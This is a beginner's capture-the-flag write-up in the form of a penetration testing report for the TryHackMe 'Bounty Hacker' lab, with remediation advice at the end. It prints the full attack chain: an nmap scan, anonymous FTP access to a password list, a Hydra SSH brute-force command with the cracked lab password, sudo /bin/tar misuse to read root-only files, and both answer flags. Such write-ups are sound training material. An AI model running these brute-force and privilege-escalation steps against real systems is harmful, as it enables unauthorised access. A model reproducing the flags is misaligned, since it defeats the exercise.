# Penetration Testing Report

TryHackMe - Bounty Hacker

Prepared by

Ambar Roy

Freelance Beginner Pentester

Contact: ambarroy11@gmail.com

Report date: October 21, 2025

**Engagement Type:** CTF / Practice Lab — Post-Exploit Enumeration
**Platform:** TryHackMe
**Objective:** Identify vulnerabilities, exploit system, and capture flags.

# Contents

## Executive Summary

This report documents the penetration testing process carried out on the TryHackMe machine **"Bounty Hacker."** The goal was to identify open services, gain user-level access, escalate privileges to root, and capture both user and root flags.

**Summary of Findings:**

- **User flag:** `THM{CR1M3_SyNd1C4T3}`
- **Root flag:** `THM{80UN7Y_h4cK3r}`

The system was successfully compromised using exposed FTP credentials and privilege escalation via a misconfigured sudo permission for `/bin/tar`.

# 1 Scope and Methodology

### Scope

- Target IP: `10.201.27.6`
- Environment: TryHackMe lab
- Objective: Enumeration, exploitation, and privilege escalation

### Tools Used

- `nmap` — Port scanning and service enumeration
- `ftp` — Anonymous FTP access
- `hydra` — Brute-force password testing
- `ssh` — Remote login to the system

# 2 Enumeration

## 2.1 Network Scanning

**Command used:**

```
nmap -A 10.201.27.6
```

**Results:**

- **Port 21 (FTP):** vsftpd 3.0.5 — Anonymous login allowed
- **Port 22 (SSH):** OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
- **Port 80 (HTTP):** Apache httpd 2.4.41

Anonymous FTP access revealed two files: `locks.txt` and `task.txt`. `task.txt` contained internal task notes from user "lin":

```
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

`locks.txt` contained multiple passwords used for brute-forcing later.

# 3 Exploitation

## 3.1 Credential Discovery

Since anonymous FTP was enabled, files were downloaded locally. Using the password list `locks.txt`, SSH brute-forcing was performed with Hydra.

**Command:**

```
hydra -l lin -P locks.txt ssh://10.201.27.6
```

**Result:**

- Valid credentials discovered:
  - **Username:** lin
  - **Password:** RedDr4gonSynd1cat3

## 3.2 Initial Access

SSH login was established using the discovered credentials.

**Command:**

```
ssh lin@10.201.27.6
```

Upon successful login, the user was dropped into the `lin` account's home directory.

## 3.3 User Flag

Navigating to the Desktop folder revealed the first flag:

```
lin@ip-10-201-27-6:~/Desktop$ cat user.txt
THM{CR1M3_SyNd1C4T3}
```

**User flag obtained:** `THM{CR1M3_SyNd1C4T3}`

# 4 Privilege Escalation

## 4.1 Sudo Permissions Check

**Command:**

```
sudo -l
```

**Result:**

```
User lin may run the following commands on ip-10-201-27-6:
    (root) /bin/tar
```

This revealed that user `lin` could execute `/bin/tar` as root without a password, which can be exploited for privilege escalation.

### 4.2 Exploitation of tar Sudo Misconfiguration

**Privilege Escalation Steps:**

```
sudo tar -cf /tmp/archive /root/root.txt
sudo tar -xf /tmp/archive
cd root
cat root.txt
```

**Output:**

```
THM{80UN7Y_h4cK3r}
```

**Root flag obtained:** `THM{80UN7Y_h4cK3r}`

## 5 Findings Summary

- **Vulnerability 1:** Anonymous FTP login exposed sensitive files.
- **Vulnerability 2:** Weak password reused for SSH access.
- **Vulnerability 3:** Misconfigured sudo permission on `/bin/tar`.
- **User Flag:** `THM{CR1M3_SyNd1C4T3}`
- **Root Flag:** `THM{80UN7Y_h4cK3r}`

## 6 Recommendations

- Disable anonymous FTP access or restrict it to a sandbox directory.
- Enforce stronger, unique passwords for all users.
- Limit sudo privileges strictly to necessary binaries.
- Conduct regular configuration reviews and patch management.

## 7 Conclusion

The *Bounty Hacker* machine was successfully compromised by leveraging exposed FTP credentials and a misconfigured sudo rule. Both user and root flags were retrieved, demonstrating poor access control and privilege separation practices.

## Contact

Prepared by: Ambar Roy
Freelance Beginner Pentester
Contact: ambarroy11@gmail.com